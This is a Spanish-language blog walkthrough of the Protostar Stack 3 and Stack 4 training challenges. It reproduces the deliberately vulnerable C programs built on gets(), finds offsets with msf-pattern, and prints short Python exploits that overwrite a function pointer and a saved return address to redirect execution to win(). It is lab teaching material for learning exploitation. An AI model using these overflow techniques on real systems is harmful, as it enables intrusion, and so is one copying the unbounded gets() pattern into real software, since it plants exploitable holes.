En este post seguiremos con la resolución de los retos de Protostar, os recomiendo que leáis el post anterior donde resolvemos los 3 primeros retos (0-2).
Como dije en la primera parte, yo no soy ningún experto en el exploiting, así que si tenéis alguna correccion o recomendación no dudéis en comentármela.
Stack 3
About
Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)Hints
both gdb and objdump is your friend you determining where the win() function lies in memory.
This level is at /opt/protostar/bin/stack3
Codigo fuente:
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } }
Tal y como leemos en las pistas, debemos buscar la dirección de la función win() y ser capaces de llamarla modificando el valor de fp
Vamos a decompilar el main:
Explicación:
En <+9> se le da valor 0 a la variable contenida en [esp+0x5c]
En <+24> se llama a gets() donde debemos ser capaces de modificar la variable [esp+0x5c] con la dirección de win()
En <+29> se comprueba si la variable [esp+0x5c] es distinta de 0, es decir, si se ha modificado a causa del desbordamiento del buffer
En <+57> y <+61> se llamará al contenido de la variable [esp+0x5c] cuyo contenido debe ser la dirección de win()
Busquemos la dirección de win():
win() –> 0x8048424
El siguiente paso será identificar la longitud del buffer que debemos llenar para poder sobrescribir fp con el contenido que queramos.
Para esto usamos msf-pattern
$ msf-pattern_create -l 100 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A $ ./stack3 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A calling function pointer, jumping to 0x63413163 Segmentation fault $ msf-pattern_offset -q 0x63413163 [*] Exact match at offset 64
Una vez hemos obtenido la longitud del buffer y la dirección de win() podemos crear nuestro exploit:
import struct padding="A"*64 payload = struct.pack("I",0x8048424) print padding+payload
$ python stack3.py | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed
Stack 4
About
Stack4 takes a look at overwriting saved EIP and standard buffer overflows.
This level is at /opt/protostar/bin/stack4Hints
A variety of introductory papers into buffer overflows may help.
gdb lets you do “run < input" EIP is not directly after the end of buffer, compiler padding can also increase the size.
Código fuente:
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { char buffer[64]; gets(buffer); }
En este reto también tendremos que ser capaces de llamar a la función win(), pero no será tan fácil ya que esta vez no se llama a ninguna función a través de una variable.
Pero podemos sobrescribir la dirección de retorno gracias a gets() y llamar así a win()
Vamos a decompilar el main e identificar la dirección de win:
Como veis, en el main() solo se crea un buffer de 64 bytes
0x50 – 0x10 = 64 bytes
Y se llama a la función gets()
win() –> 0x080483f4
Lo siguiente será encontrar la longitud de nuestro payload para poder editar la dirección de retorno.
Para esto usaremos msf-pattern con la dirección que nos devuelve gdb:
Ahora ya podemos escribir nuestro exploit:
import struct padding="A"*76 win=struct.pack("I",0x80483f4) print padding+win
Deja una respuesta